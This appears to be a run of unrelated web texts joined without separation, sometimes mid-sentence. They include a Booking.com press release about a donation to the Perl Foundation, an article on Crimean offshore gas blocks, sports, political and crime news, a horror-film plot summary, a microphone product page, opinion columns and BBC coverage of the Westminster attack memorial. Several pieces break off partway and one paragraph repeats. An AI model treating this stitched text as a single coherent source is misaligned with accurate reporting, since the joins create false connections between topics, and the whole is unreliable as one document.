Last Thursday 11 December 2008, Larry Wall, founder of Perl, gave the keynote speech at the half-yearly internal Booking.com IT-conference, which was attended by the 50+ person IT team of Booking.com. Now working on Perl 6, the programming language for the next 30 years, Larry Wall has been co-responsible for the definition of this new version of the Perl language, of which multiple implementations, such as Rakudo (www.rakudo.org) and Pugs (www.pugscode.org), already have become available for testing. – Source: Booking.com
Amsterdam, the Netherlands, Booking.com, Europe's largest and fastest growing online hotel reservation service, donated 50,000 US$ to The Perl Foundation ( ), to aid in the further development and maintenance of the Perl programming language in general, and Perl 5.10 in particular.
"As the programming language of choice at Booking.com, we want to give something back to the open source community of Perl developers which so generously provide us with the tools that allow us to make Booking.com the fastest growing online hotel reservation service in Europe", said Kees Koolen, CEO of Booking.com.
"Without Perl and its dedicated developers, Booking.com would not have had the flexibility and efficiency that was required to be able to grow as quickly as we have in the past 12 years.
It has allowed us to create an ever growing team of dedicated internal developers from all over the world, who are eager to keep learning and continue improving the online hotel reservation experience".
"We would like to express our gratitude to booking.com," said Richard Dice, President of The Perl Foundation. "The purpose of The Perl Foundation is to support the Perl programming language and the community that surrounds it.
This is only possible with help from other individuals and organizations who realize how remarkable Perl is and how we can all act together to continue improving it. With their gift, which is one of the largest The Perl Foundation has ever received, booking.com has demonstrated extraordinary vision and community spirit."
Last Thursday 11 December 2008, Larry Wall, founder of Perl, gave the keynote speech at the half-yearly internal Booking.com IT-conference, which was attended by the 50+ person IT team of Booking.com. Now working on Perl 6, the programming language for the next 30 years, Larry Wall has been co-responsible for the definition of this new version of the Perl language, of which multiple implementations, such as Rakudo () and Pugs (), already have become available for testing.
Since the foundation of Booking.com in 1996, apart from the Perl programming language, the company has always used open source projects, and products for its IT infrastructure such as Linux, Apache, MySQL and Java.
About Booking.com | Booking.com is part of Priceline.com (Nasdaq: PCLN). Its website attracts an average of 30 million unique visitors each month. Booking.com works with more than 57,000 affiliated hotels in 15,000 destinations around the world. Its services are available in 21 languages. Booking.com currently has 24 offices in Amsterdam, Athens, Barcelona, Berlin, Cambridge, Cape Town, Dubai, Dublin, London, Loulé (Portugal), Lyon, Madrid, Moscow, Munich, New York, Orlando, Paris, Rome, San Francisco, Sydney, Singapore, Stockholm, Vienna and Warsaw.
About The Perl Foundation | The Perl Foundation is dedicated to the advancement of the Perl programming language through open discussion, collaboration, design, and code. The Perl Foundation coordinates the efforts of numerous grass-roots Perl-based groups, including: International Yet Another Perl Conferences (YAPC's), Carries the legal responsibility for Perl 5 and Perl 6 and the Artistic and Artistic 2.0 licenses, perl.org, Perl Mongers, and PerlMonks.
Contact
Jasper Cramwinckel
Phone: +31 (0)6 5559 5559
Send EmailOne day before the President of Ukraine and the constitutional order of the country were toppled, Georhii Rudko, the chairman of the Ukrainian State Commission for Natural Resources, gave a notable presentation on the future for the oil and gas resources of Ukraine.
According to his February 20 presentation, the western regions of Ukraine can contribute little to the future energy supply of the country and aren't worth fresh investment. That, he said, is because the area is already " the most long-exploited in Ukraine and the smallest by potential resources and reserves." In the eastern regions, by contrast, Rudko said considerable reserves of oil and gas remain to be developed if there is fresh money. The area "is the largest in Ukraine by potential resources and reserves. It has 205 fields, 121 of them are being developed (gas - 64, gas condensate - 72, oil - 53). The degree of the initial potential resources realization - 57%."
Rudko presentation, page 14
Both west and east have potential value for unconventional gas production; that's shale or coal-bed methane gas released by hydraulic fracturing and other methods. The estimated resource was plotted by Rudko on the map like this:
Rudko presentation, page 23
But the time required for development, Rudko conceded, is long, the cost high, and the outcome much more uncertain than his recommendation. That is for oil and gas drillers and foreign investors to concentrate on what he calls the "Southern Oil and Gas Region". On Rudko's map, the region's energy riches have already been plotted in the Sea of Azov and the Black Sea. They lie to the north of Kerch; west of Simferopol; and south of Sevastopol. In short, they lie on the seabed within 200 nautical miles of the Crimean shore line.
Rudko presentation, page 17
Until now, that is part of the exclusive economic zone of Ukraine, according to the international Law of the Sea. But if Crimea formally votes on March 16 to give up its autonomous republic status in Ukraine and join the Russian Federation, and if the Russian parliament and President Vladimir Putin formally accept, these resources are no longer Ukrainian. They become Russian.
The potential, Rudko said, is enormous. The Crimean offshore areas already identified, he said, represent "a third of the undiscovered natural gas resources [of Ukraine] and a fifth of the undiscovered oil resources…including: oil and condensate - 1148 million tons and gas - 3831 billion m3. The development degree of resource potential of the shelf - up to 5%. The most prospective for the search of significant deposits is the deep part of the Black Sea. Its potential recoverable resources reach more than 1000 million tons of coal equivalent (54% of the total Black Sea resources)."
On this map, prepared by Ukraine's state gas company NaftoGaz, there are four deepwater license areas south and south of Crimea, which have already been delineated by Rudko's natural resources commission. Since 2006 all four - Skifska, Foroska, Prykerchinska, and Tavriya (to use their Ukrainian names) — have been formally offered for bidding by interested investors and oil and gas explorers.
NaftoGaz of Ukraine
Despite earnest efforts by several governments in Kiev, including the recent Energy Minister, Eduard Stavitsky (December 2012-February 2014), there has been no bidding interest for Foroska or Tavriya.
On January 30 Stavitsky announced that the government would be trying again soon. "'There will be contests on two areas of the Black Sea - Foros and Tavriya. We are in talks with major investors to develop the shallow shelf,' he added." Stavitsky has been ousted from his ministry and replaced by Yury Prodan who held the energy portfolio from 2007 to 2010. Stavitsky is not the sanctions list issued by the European Union on March 5.
The most important of the four Crimean offshore blocks is Skifska. When Stavitsky announced a tender for the Skifska field, it was reported to hold 200 to 250 billion cubic metres of gas reserves, with an annual production estimate of five billion cubic metres a year. The field starts about 50 kilometres southwest of Sevastopol, and runs up to the Romanian sea border. There it adjoins the Romanian Neptun Deep block, in which ExxonMobil has a 50% working interest. In early 2012, Exxon announced that at a well called Domino-1, about 170 kilometres from the Romanian coast, it had "encountered gas", according to Exxon's 2012 Financial and Operating Review, issued at the start of 2013. "Appraisal activities are progressing with additional drilling anticipated to commence in 2013."
According to ExxonMobil and Ukrainian government announcements, between June and August of 2012, bids for Skifska were collected and assessed. LUKoil of Russia competed against a consortium of ExxonMobil, Royal Dutch Shell, OMV Pet rom of Romania, and the Ukrainian state-owned entity, Nadra Ukrainy. The Russian bid was rejected, and ExxonMobil (with a 40% operating stake) was the winner.
The ExxonMobil reports have said no more than "we are working with our co-venturers and the Ukrainian government to finalize the Production Sharing Agreement. But almost two years later, no agreement has been signed. A source close to the company says the promised payment for Skifska, a signing bonus of $325 million, won't be paid until there is a production sharing agreement. The reason that hasn't been signed is that Exxon and the Ukrainian government have so far been unable to agree on production, investment, tax and royalty terms. The negotiations have continued over the past twelve months, but no money has been spent drilling at sea. The only data available to Exxon so far were provided by Stavitsky and Rudko during the bidding process.
Officially, according to an Exxon spokesman, "we remain interested in the block."
Unofficially, Exxon has halted its negotiations with the Ukrainians "due to the political situation, but is pressing ahead with several Russian projects, including in Russian waters close to the Crimean Peninsula." This was told to New York analysts last week, and reported in Dallas on March 5. According to the report, ExxonMobil senior vice president Andy Swiger conceded the company has bigger fish to fry in the Russian Arctic than off the Crimean shore. According to Swiger, the Crimean block "has active oil seeps and that drilling would begin in 2015." According to ExxonMobil chairman and chief executive, Rex Tillerson: "In terms of our view of country risk, geopolitical risk, other than things like sanctions, we don't see any new challenges out of the current situation [in Russia]."
The second of the Crimean offshore blocks to have been awarded for development is next to Skifska to the east and known as Prykerchinska (Prikerchinskaya in Russian). At the time the block was put up for bidding it was estimated to hold more than 1 billion barrels of oil equivalent. The Ukrainian government award was made in April 2006, when the president was Victor Yushchenko. The winner, a junior oil explorer from Texas named Gene Van Dyke, defeated ExxonMobil, Shell, a Turkish company, and another Texan junior, the Hunt Oil Company. Van Dyke's geography places the Prykerchinska block "in the Kerch area", on the northeast of the peninsula.
Vanco, Van Dyke's company at the time, claimed that Prykerchenska was "the country's first deepwater license opportunity… The event made Vanco the first company to be awarded a Production Sharing Agreement by Ukraine for its portion of the Black Sea." Only the production sharing agreement, which was signed in October 2007, was reversed and then subject to an arbitration proceeding in Stockholm in 2010. According to Vanco's version, it was not until after Victor Yanukovich became president in 2011 that the government in Kiev agreed to reinstate the Prykerchenska licence and production sharing agreement. The original terms of Van Dyke's deal provided for Vanco to pay all field development costs and then receive 80% of all production income until costs will have been recovered. From then on the split in income would be 60% for Vanco, 40% for the Ukrainian government.
It isn't known whether the terms settled with Yanukovich in 2012 were the same. Nor have Vanco and Van Dyke responded to requests for clarification of the project at the moment. Van Dyke says on his company website that in 2010 he sold "a controlling interest in Vanco Exploration to Lukoil, retaining a substantial interest. Van Dyke Energy Company maintains that interest through PanAtlantic Energy Group." He then appears to have restricted his direct exploration ventures to "the North Sea with a focus onshore and offshore The Netherlands."
LUKoil's version of the Vanco takeover refers to drilling operations in West Africa, including Ghana and Cote d'Ivoire. Ukrainian press reports suggest that the price for Vanco's reinstatement at Prykerchenska was the sale of a large stake in Vanco Ukraine to DTEK, the energy company owned by Ukrainian oligarch, Rinat Akhmetov. DTEK has acknowledged that it and two associated companies, also Akhmetov properties, "act as financial partners of Vanco Prykerchenska Ltd. in the project, which is in line with DTEK's long-term development strategy and important for Ukraine's energy security". Last July DTEK's chief executive, Maxim Timchenko, acknowledged that "in addition to energy generating companies and mines, DTEK owns a shareholding in Vanco Ukraine." He didn't say who remained as shareholders of the project, and DTEK has so far reported no expenditure on the block.
The public record also reveals that Van Dyke's partner in the original 2006 bidding for Prykerchenska, as well as source of capital for the project, was Nathaniel Rothschild. In Van Dyke's version, this came about because "Vanco had a representative in Kiev who is a former executive of BP and who had contacts with the London branch of the Rothschild family — JNR Eastern Investments Limited — which came on board as a 50-50 partner with Vanco."
Rothschild was asked to clarify whether he still holds his stake in Prykerchenska; whether he thinks his stake has been adversely impacted by the changes now under way in the Crimean republic, and what he has done about that. Rothschild's spokesman said he no longer occupies the post, and referred to Rothschild's investment management office in Jersey. There it was agreed that the questions would be relayed to Rothschild for his reply. He didn't.
Lukoil's operating and financial reports mention only refinery assets in Ukraine; there is no reference to exploration of Crimean waters, and no report of the losing bid for Skifska or the Vanco link to Prykerchenska. For the time being Lukoil sources are considering the question of whether they might still be interested in these blocks. They are not answering.During the first half of Wednesday’s friendly against St. Louis FC, goalkeeper Bill Hamid put his gloves on, headed down the sideline, accompanied by goalkeeper coach Zach Thornton. The two worked together for several minutes, before Hamid warmed up in front of goal during the halftime break.
And then, less than two months after having knee surgery, Hamid took his spot in goal for the start of the second half against St. Louis. Now, D.C. United’s presumptive starter feels like he’s ready to go for opening day on March 4th against Sporting Kansas City.
“I wish it was my call. If it was my call, then I would push for it,” Hamid said of the decision whether or not he starts against KC. “It depends how they see that I’m doing: how I’m moving, if I’m making saves. If [head coach Ben Olsen] says I’m ready, I’ll be in there.”
During the 2016 offseason, Hamid had surgery on the same knee. But that time, the surgery tried to repair the meniscus in his knee. That kept him out until the end of May, as Travis Worra spelled him in goal. This year, Hamid had the meniscus removed. That meant a shorter recovery time, but will require more maintenance to keep his knee healthy.
The recovery process for Hamid went better than expected, which led to him getting 45 minutes against St. Louis on Wednesday.
“The rehab was good. It was interesting, working with a new group, MedStar Washington |
Conway now tells me she’ll be going on Fox News tonight… https://t.co/7oThH38nxz — Dylan Byers (@DylanByers) February 22, 2017
CNN reported on Wednesday that Conway was “sidelined” from giving television interviews after making “off message” statements, according to unnamed White House sources.
Days after the President’s inauguration, Conway coined the phrase “alternative facts” to defend White House press secretary Sean Spicer’s inaccurate claims about crowd size at Trump’s swearing-in, a flourish for which she was subsequently lampooned by a dictionary.
Over the course of just a few days earlier in February, Conway cited the “Bowling Green Massacre” to defend Trump’s ban on visitors from seven predominantly Muslim countries, was passed over by CNN as a result of issues with her “credibility” and sparked a firestorm by urging Fox News viewers to buy items from Ivanka Trump’s clothing and accessories line.
“I’m going to give a free commercial here,” Conway said. “Go buy it today, everybody, you can find it online.”
Spicer later told reporters in his daily briefing that Conway was “counseled on that subject, and that’s it.”
Later the same day, Conway nevertheless said that Trump was “100 percent” behind her amid the backlash.
Most recently, amid reports that former National Security Adviser Michael Flynn lied to Vice President Mike Pence about his conversations with a Russian ambassador, Conway suggested that Trump would stand by Flynn.
“Gen. Flynn does enjoy the full confidence of the President,” she said.
Flynn resigned just hours later.
The next day, Conway insisted that it was Flynn’s decision to step down. By mid-morning, however, House Speaker Paul Ryan (R-WI) told reporters that Trump asked Flynn to resign.In 1969, a mass murder occurs in which a man kills people on his block. As he shoots the neighbors, he continuously asks if anyone spoke about "the name" which cannot be said. He also repeats the same thing over and over: "Don't say it, don't think it; don't think it, don't say it."
In present day, Elliot, his girlfriend Sasha, and best friend John move into an off-campus house not far from their college. Soon, mysterious things start to happen, such as Sasha developing a strange cough and Elliot finding coins in a nightstand that continually reappear. Elliot also finds writing consisting of "don't think it, don't say it", and a name: the Bye Bye Man. During a seance involving their friend Kim, the name is mentioned.
Sasha continues to become sick as Elliot and John start experiencing hallucinations and stranger activity. Elliot begins to suspect that Sasha is cheating on him with John. Elliot's brother Virgil also becomes suspicious. Kim is killed after she is struck by a train. Elliot is taken in for questioning by Detective Shaw, and is released when Kim's suicide note reveals she killed her roommate and was planning on killing Elliot, Sasha, and John.
The librarian shows Elliot a dossier about the Bye Bye Man; a teenager killed his family and told a reporter that the Bye Bye Man made him do it. The same reporter later became the mass shooter during the '60s, who killed himself after realizing people knew about the Bye Bye Man. Elliot also visits the widow of the reporter, who reveals that the curse causes insanity, hallucinations, and eventually death. Signs of his coming are coins mysteriously appearing, sounds of a train, and a large, skinless hound. The only way to prevent it is to not think of his name or speak of him. If someone already knows, they must be killed. The librarian is hit by Elliot's car by accident, after she killed everyone in her home, coming for Elliot next.
Sasha and John are also suffering from the hallucinations. Elliot finds John stabbing Sasha. He shoots John, but after he picks up the corpse, it is revealed to have been Sasha that was stabbing John; therefore, Elliot killed Sasha. The Bye Bye Man appears and gives Elliot a hallucination. Elliot keeps Virgil and his daughter Alice away long enough for him to shoot himself with a gun. Virgil and Alice get away before the entire house goes up in flames.
While riding home, Alice reveals she found the coins from the nightstand near the trash, along with the writing. However, she could not read it due to her poor night vision. Detective Shaw arrives at the scene, where John is found to be alive but wounded. John then whispers the name to Shaw, allowing the Bye Bye Man’s curse to spread again.Automatic Power Function with plug-in power
Power via LB-1, 2 x AA Batteries, Micro USB
Ships with LB-1 Lithium-Ion Rechargeable Battery, Detachable 3.5mm TRS Cable, Micro USB Cable
Built-in Battery Door
Optimised Windshield Shape
Digital Switching
10-year extended warranty when you register your microphone*
The RØDE VideoMic Pro+ is a new addition to the best-in-market on-camera category. It is a true shotgun microphone designed for use with camcorders, DSLR cameras and portable audio recorders as a source of primary and reference audio.
Still with the best-in-class Rycote Lyre suspension system onboard, the VideoMic Pro+ improves on the existing VideoMic Pro capsule/line tube and windshield, plus boasts a host of new features.
Automatic Power Function (with plug-in power availability) is perfect for the run-and-gun shooter, automatically turning the microphone off when unplugged from the camera.
Built-in Battery Door makes replacing the battery a breeze - plus it won't get lost.
Power options the VideoMic Pro+ can be powered by the all-new and included RØDE LB-1 Lithium-Ion Rechargeable Battery, 2 x AA Batteries or continuously via Micro USB.
Digital Switching - will ensure the user has ultimate capture of the audio signal at the source, reducing post production and editing times.
The Digital Switching includes:
2-Stage High Pass Filter to reduce low frequencies such as rumble from traffic or air conditioning
3-Stage Gain Control, with +20dB function – designed to improve audio quality on DSLR or mirrorless cameras
High Frequency Boost will boost high frequencies enhancing detail and clarity in the recording
Safety Channel to help ensure the signal does not clip when unexpected spikes occur
* LB-1 is not included in extended warranty.In fairness, Mr. Miller did get banged up as a rodeo cowboy before entering state government.
Still, these are the kinds of events that cause people from places like Massachusetts, Manhattan and California, not to mention England, France and Sweden, to ask us: “How can you stand to live in Texas?” Their tone usually suggests that any explanation that doesn’t involve our incarceration here is indefensible.
I admit that a more positive response to this inquiry has become more difficult over time, especially since 2000, when Mr. Perry ushered in an era of government by people who, well, hate government. And it’s true that occasionally my husband and I scan the local headlines — coverage of the relentless assault on Planned Parenthood comes to mind — and ask ourselves whether we should be packing up.
“Are we crazy?” is the way my husband, who is from Virginia, puts it.
There are stock responses to the criticism. Texas P.R. firms have tried them all: our amazing urban sophistication, our amazing urban diversity and let’s not forget our amazing economy — at least when the oil price is high. And though we can say that we introduced America to Ted Cruz, we’re not responsible for Mr. Trump.
Sticking around here was never even my plan. Growing up, I suffered with the other kids who were incapable of following a football game but had mastered “Oliver Twist” (the book, not the movie). My best friend in middle school despaired at my incompetence with hair and makeup. (“You could be so pretty if you tried.”)
So when I headed for college on the East Coast in 1972, I never intended to return. I would move to Greenwich Village after graduation, and grow red geraniums in window boxes.The body of a woman was found at the Roadway Inn in Santee on May 25, 2015. Investigators said the death was suspicious. NBC 7's Candice Nguyen reports. (Published Tuesday, May 26, 2015)
Officials are investigating the death of a 54-year-old woman at a Santee motel they said occurred under "suspicious circumstances."
At around 12 p.m. Monday, a citizen flagged down an officer to report a person down at the Rodeway Inn in the 10100 block of Mission Gorge Road in Santee.
When a deputy went inside a room on the backside of the motel, he discovered the body of a woman in her mid-50s.
A few hours later, San Diego County Sheriff's Department Lt. Jeffrey Duckworth said the investigation was still a death investigation and not a confirmed homicide. A sheriff’s Sergeant on scene also told NBC 7 officials would not confirm it was a homicide but said there were suspicious circumstances surrounding the body they found.
The San Diego County Sheriff's Department homicide detail, deputies and the sheriff's crime laboratory were all working on the investigation together.
NBC 7 spoke to a young couple who were staying at the Roadway Inn. They said they saw a very suspicious man at the motel Sunday night, possibly armed with a gun.
“There was a guy that just swung the door open really quickly and he had a cigarette hanging from his mouth and a really crazy look in his eyes – like he was on drugs,” Tierney Atkinson recalled.
Atkinson said she and her boyfriend were alarmed by the man and ran into their motel room. At first, they did not report what they saw. However, when they came by the motel again Monday afternoon and learned a woman had died in one of the rooms, they spoke with investigators, Atkinson said.
Investigators could not confirm if the man the couple saw is connected to the woman’s death.
Like other motel guests, Atkinson said she and her boyfriend were shaken up. She said she regrets not reporting the suspicious man earlier.
“I feel like we made a mistake, like we should’ve said something,” she lamented.
“It’s sad. It’s terrible to see this happen. I can say you wouldn’t expect it here,” added Micah Alexander.
The investigation into what happened at the motel is ongoing. Officials are asking anyone with information to contact authorities.
The woman’s name has not yet been released.On Monday, the City Council is expected to approve formation of the Seattle Renters’ Commission, thought to be the first commission of its kind representing tenant interests at a United States city hall. Another group is beginning its work in the rain this Friday afternoon to also create a better, more transparent, and more trackable future for Seattle renters.
Yes on I-127 have been given approval to begin collecting the some 16,000 20,638 or signatures they will need to get their initiative on the ballot calling for Seattle landlords to provide detailed breakdowns of rents and rent increases to tenants and share that information with the city. “By breaking down costs included in monthly rent, tenants can better understand cost of rents and rent increases associated with their homes,” the group contends. “They can also use this information to plan and prepare for the future.” Proponents say the initiative would give the city “an apparatus to track rent trends.” “This allows both the city and its residents to study and understand our rental market,” they write.
Devin Silvernail tells CHS the initiative is an outgrowth of volunteers coming together through the tenant bootcamps his Be:Seattle is organizing across the city. The next camp, by the way, is next week in the Central District.
Silvernail said the effort to collect signatures for I-127 by September to make the ballot this fall — 10% of the total number of votes in the last mayoral election is the goal — is underway and you should expect to see volunteers around Capitol Hill Station.
You can learn more at whatsinmyrent.com.Children Want Factual Stories, Versus Fantasy, More Often Than Adults
Enlarge this image iStockphoto iStockphoto
Childhood is a time for pretend play, imaginary friends and fantastical creatures. Flying ponies reliably beat documentaries with the preschool set.
Yet adults are no strangers to fiction. We love movies and novels, poems and plays. We also love television, even when it isn't preceded by "reality."
So, what happens as we make our way from childhood to adulthood? Do we ever really outgrow a childlike predilection for make-believe? Or does our fascination with fiction and fantasy simply find new forms of expression?
In a paper published earlier this year, psychologists Jennifer Barnes, Emily Bernstein and Paul Bloom set out to compare children's and adults' preferences for fact versus fiction in stories. Their results are surprising — and reveal something important about why we're so drawn to fiction in the first place.
In their first study, Barnes and her colleagues had 4- to 7-year-old children and adults choose which of two books sounded like it contained "the better story" based on a brief description of what it was about. For instance, participants had to decide between a story about a child "who found buried treasure" and one about a child "who discovered a dinosaur bone." But for half the participants, the treasure story was introduced as "true" and the dinosaur bone story as "make-believe" — while, for the other half, this pairing was reversed. This allowed the researchers to detect overall preferences for fact over fiction, over and above any preferences for particular content or themes.
Here's what they found: Children were significantly more likely to prefer fact over fiction. They were also significantly more likely to select the factual stories than were adults, who chose factual and make-believe stories equally often.
In a second study, Barnes and colleagues turned to the fantastical, pitting stories with fantastical characters or plots against realistic alternatives. For example, participants might choose between a story about "a boy who lives on an invisible farm" versus a story about "a boy with lots of brothers and sisters." Once again, they found that the children were more compelled than by realism than were the adults. The 4- and 5-year olds chose fantastical and realistic stories equally often, but the adults had a consistent preference for the fantastical.
These results are potentially counterintuitive — isn't childhood the bastion of fantasy and make-believe?
Barnes and colleagues offer a compelling explanation: Children are still learning about the real world. What's routine for us might be novel for them. In fact, we know that children (and adults) can learn from fictional stories, but children more readily apply what they've learned when the story is realistic as opposed to fantastical. Fiction and fantasy might be luxuries we can afford only after we've mastered the basics.
Taking a speculative step farther, we might expect stories to be an especially reality-bound medium for children. When children hear stories, they're typically receiving information from experts — older children and adults who know more about the world than they do. If stories are essentially a form of testimony about the world, it makes sense to favor fidelity.
But other forms of make-believe, such as pretend play or conversations with imaginary companions, need not be so constrained by reality. Activities like these are more likely to be initiated by children among children. And, unlike hearing a realistic story from an expert, engaging in imaginative play doesn't offer new data about the way the world works — it instead offers an opportunity to explore what we think we already know, including its limits and entailments. If stories are a form of input, imagination and pretense may be mechanisms for elaboration and assimilation.
At least, that's one story. And it might not even be fictional.
Tania Lombrozo is a psychology professor at the University of California, Berkeley. She writes about psychology, cognitive science and philosophy, with occasional forays into parenting and veganism. You can keep up with more of what she is thinking on Twitter: @TaniaLombrozo(Photo courtesy Diana Walker/TIME)
Diana Walker, the award-winning photographer who shot the picture while on assignment with TIME magazine, was concerned when her photo started swirling around Internet. She hadn’t been asked, paid, or credited for the use of her work, she says.
But the story has a happy ending: the creators of the site have now added a credit line for the photos, and that’s enough for Walker.
“I’m following Secretary Clinton’s lead and being amused and taken with the idea that this picture is all over the world.” she says. Still, she says, the incident underscores the conflicts between photographers, who want to control their work, and the wide world of the Internet, where everything seems free. “There needs to be a dialogue about this,” she says.
Walker insists she didn’t realize how powerful the image would be when when she captured the black-and-white photo, which she—along with Reuters photographer Kevin Lamarque, who shot a color version that’s also being used on the Tumblr site—took during a flight to Libya late last year.
And she wishes that people who want to grab photos from the Internet and use them for their own purposes would make an effort to contact their original creators. “Before they used it, how about a call to me?” she asked. But, she admits, that might have resulted in no such memorable meme. “I’m not sure I would have said yes.”Henry (Bud) Hebeler retired from The Boeing Company in 1989 where he was vice-president for corporate strategic and operational planning. Before that he was president of The Boeing Aerospace Company, a division which did all of Boeing’s space work and most of the military products. He now helps people with retirement planning personally and with articles and programs on Analyze Now, a site often referenced by The Wall Street Journal and many financial publications. He has three degrees from MIT, has been on advisory committees to the U.S. Congress, Departments of Interior, Commerce, Energy, and Defense, an economic advisor to the Washington State governor, a member of Washington's Economic Development Council and a member of several university boards.
Income and property taxes are the tip of our tax iceberg.
I didn’t think much about this until I saw that for the past three years local, state and federal spending per household now exceeds the median household income. That spending is supported by ever increasing taxes in all kinds of forms — and, importantly, by more government borrowing, which bring even higher taxes for future generations.
I’ve also come to realize that corporate taxes are really similar to a value-added-tax (VAT). The VAT is the principal tax in many foreign countries.
Think about it. Everything that you buy is built from products that have innumerable and hidden taxes included in the price. At every level of production, the producer or service provider paid the accumulated taxes on the labor, goods, equipment, services and utilities required. You may have some appreciation of the latter when you see the taxes included in your monthly telephone and power bills. When you buy a product, you are paying for the taxes on the telephone and power bills of every firm that had something to do with getting that product to the store.
Look at the attached figure which illustrates some of the common levels of production needed for something we might buy. We see only the sales tax at the top of the pile. But that product went through the hands of many firms before it got to us. Each had its own tax. In fact, each is paying tax on the taxes included in the cost of everything below it.
Tax on tax on tax — ad infinitum
Sometimes there are more levels than in the figure, sometimes there are less. But it is hard to imagine what the lowest level is. Even the farmer or miner of raw materials has to pay for equipment, supplies, services and utilities, all of which are taxed — usually in many different ways.
To illustrate how taxes on taxes grow, suppose that eight steps were involved before the buyer finally pays taxes to have the product serviced. Suppose also that the value added at each step was twice its component costs. Further suppose that at each step only 3% of its price was for a tax. That 3% at each step ends up costing 6% more for the final buyer.
In the oversimplified illustration, if a corporation was involved at each step, and each paid 30% tax on 10% profit, the final tax cost would be 6% of the price that we, as consumers, pay. Corporations simply pass on such taxes to buyers. Those increased taxes we pay may make it tougher to compete with foreign companies which don't have such a tax. To the extent that high-level corporate officers' pay is based on volume, corporate taxes may actually add to their compensation. On the other hand, an officer showing reduced corporate taxes may also get higher compensation.
There are likely more than 100 kinds of taxes we pay, one way or another. Michael Snyder compiled a list of 97 different kinds of taxes. I was able to think of three more that apply to me.
So with all of this taxation, you’d think the government would be better funded — and yet, spending divided by the number of households is more than the median household gross income. We focus on a budget that covers how we spend our money — but clearly we need to pay more attention on how the government spends the money we give them. Political promises for more benefits may actually be far from an overall benefit as the cost of purchases, services and income taxes increase accordingly.
The American Revolution was over the British stamp tax of 1765 that required a tax on wills, deeds, newspapers, pamphlets and such. What a romp the patriots of those days would have today. They might focus on our having to print money to pay the interest on the national debt and "borrowing" from the Social Security Trust Fund. Or they might dig into the unfunded obligations of state and federal government for future pension and welfare promises.
Patrick Henry would really turn up the volume.Media playback is unsupported on your device Media caption The commemorations mark one week since the Westminster attack
Thousands of people have come together to mark one week since the Westminster attack, in which four victims and the attacker died.
Police officers, doctors and hundreds of members of a Muslim youth association were among those walking across Westminster Bridge in memory.
Leeds, Leicester, Sheffield, Manchester and Birmingham also had events.
Earlier, inquests into the victims' deaths were opened and adjourned at Westminster Coroner's Court.
Khalid Masood killed three people when he drove his hire car into pedestrians on Westminster Bridge last Wednesday.
Aysha Frade, 44, who worked at a London sixth-form college; US tourist Kurt Cochran, 54, from Utah; and retired window cleaner Leslie Rhodes, 75, from south London died.
After crashing, Masood then fatally stabbed PC Keith Palmer outside Parliament, before being shot dead by police.
In a statement, Ms Frade's family said: "Our beloved Aysha; caring daughter, loving sister, amazing wife, irreplaceable aunt, thoughtful, supportive friend and the best and coolest of mummies.
"You were ripped away from our lives in the cruellest and most cowardly of ways. We now pray that you guide and protect not only us, but all of London, from further evil.
"You will always be remembered as our guardian angel who never shied away from facing up to bullies. There are no words to even begin to describe the crushing pain and eternal void left in our hearts."
Media playback is unsupported on your device Media caption Imam Nufais Ahmed: 'Any attack against this country is an attack on ourselves'
Image copyright Getty Images Image caption Police officers joined the crowds in remembering the victims of last Wednesday's attack
In Westminster on Wednesday, acting commissioner of the Metropolitan Police Craig Mackey said: "This afternoon is about remembering the victims of last week's events.
"Our thoughts, our prayers, go out to everyone who was affected by the events last week."
Zafir Malik, an imam from the Ahmadiyya Muslim Youth Association, said his members were "here to show that we are united with our fellow countrymen and remembering those who have fallen, especially PC Keith Palmer".
As the vigil reached Parliament, dozens of people laid flowers on the side of the bridge, among them a man who was hurt in the attack.
At the scene
By Alex Therrien, BBC News
There was an atmosphere of solidarity as the silence was held on Westminster Bridge.
Just before the clock struck 14:40 BST, a group including police, children and faith leaders walked across the bridge, led by the banner "love for all, hatred for none".
When the silence finished, children and other members of the procession laid flowers near to where three pedestrians were killed by Masood.
Earlier, people held hands across the bridge in a symbol of unity.
Among those paying tribute was Danyal Ahmad, a trainee imam at the Baitul Futuh Mosque in south-west London.
The 21-year-old said his group, Ahmadiyya Muslim Youth Association, wanted to show that Islam was about "love, peace and compassion".
His brother, Zishan Ahmad, a 25-year-old imam, who also attended the memorial, added: "You can't divide London - we stand together.
"It doesn't matter if you are Muslim, Christian or Jew, or black, brown or any other race. London will never be divided."
Brendan O'Connor, from Holborn, central London, said the memorial service sent a message that those seeking to divide London are "not going to stop us".
The 59-year-old added: "There's love here. You can't kill love with hate. Love always conquers."
Silence falls on packed bridge
Speaking as the inquests into the deaths of the four victims opened earlier on Wednesday, senior coroner Dr Fiona Wilcox said it was a "tragic incident".
Senior investigating officer Det Supt John Crossley told the court Masood was armed with two knives and caused grave wounds when he attacked PC Palmer.
The father-of-two was wearing a stab vest, issued as routine to Metropolitan Police officers, but it was not enough to save him and he died at the scene.
Officers are examining a "large amount" of CCTV and footage taken by bystanders, which gives a "clear visual chronology" of how the 82-second incident unfolded.
Get news from the BBC in your inbox, each weekday morning
He said: "Currently there are in excess of 1,500 potential witnesses, with accounts being taken from those who are deemed significant. This is currently in excess of 140."
The inquest heard details of how each of the victims had died.
Image copyright PA/Facebook Image caption PC Keith Palmer (L), Kurt Cochran and Aysha Frade all died in the attack
Det Supt Crossley described how Masood, driving across Westminster Bridge, mounted the pavement twice in an apparently deliberate attempt to target pedestrians.
He crashed the car into the east perimeter railings of the Palace of Westminster, before going into the grounds to attack PC Palmer.
More than 35 people were injured in the attack. Twelve are still being treated in hospital, one of whom is in a coma.
Image copyright PA Image caption One of the victims was retired window cleaner Leslie Rhodes, whose picture has now been released
The inquest into Masood's death will be opened and adjourned on Thursday.
In other developments:
Commons Speaker John Bercow told MPs that two reviews of the incident will be held
A preliminary report into how the perimeter of the parliamentary estate is secured and protected will be published by the end of April
A review into the "lessons learned" from the response will report back by the end of June
Earlier, acting Met Police commissioner Craig Mackey told London Assembly members last Wednesday was a "terrible" day but the capital's response had brought about "hope"
He said the force had an "extraordinary" level of firearms capability and it was quickly made available after the attack
The Met has announced that the funeral of PC Palmer will take place at Southwark Cathedral on 10 April
He will receive a full police service funeral, which will be followed by a private cremation
Earlier, the family of a Romanian woman who fell into the Thames during the attack said they had been overwhelmed by "love, support and respect" for her.
Andreea Cristea, 29, was on holiday with her boyfriend Andrei Burnaz.
Image caption Andreea Cristea was on holiday with Andrei Burnaz
In a statement, the couple's families said Ms Cristea was still in a critical but stable condition in hospital. Mr Burnaz sustained a broken foot but has been discharged.
They added: "Our family is so grateful for the first responders, the medical personnel and the assistance of the UK government agencies."
Further questioning
